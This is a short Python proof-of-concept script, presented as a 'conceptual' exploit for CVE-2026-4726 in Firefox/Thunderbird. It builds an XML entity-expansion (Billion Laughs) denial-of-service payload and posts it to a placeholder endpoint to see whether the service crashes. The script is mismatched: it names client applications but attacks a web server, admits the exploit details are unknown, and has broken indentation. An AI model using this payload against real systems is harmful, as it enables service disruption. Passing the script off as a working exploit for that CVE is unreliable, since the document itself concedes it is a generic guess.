The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-4726 (Conceptual)
# This script generates a malicious XML payload that may trigger a DoS in vulnerable versions of Firefox/Thunderbird.
import requests
# Target URL (Example)
target_url = "http://example.com/vulnerable_endpoint"
# Malformed XML payload designed to crash the parser
# Note: Specific exploit details require deeper analysis of the patch diff.
# This is a generic XML DoS example (e.g., Billion Laughs or similar structure).
xml_payload = """<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a "1234567890">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<data>&d;</data>
"""
try:
print(f"Sending payload to {target_url}...")
response = requests.post(target_url, data=xml_payload, headers={'Content-Type': 'application/xml'})
print(f"Response status: {response.status_code}")
print("Check if the target service has crashed.")
except Exception as e:
print(f"Error: {e}")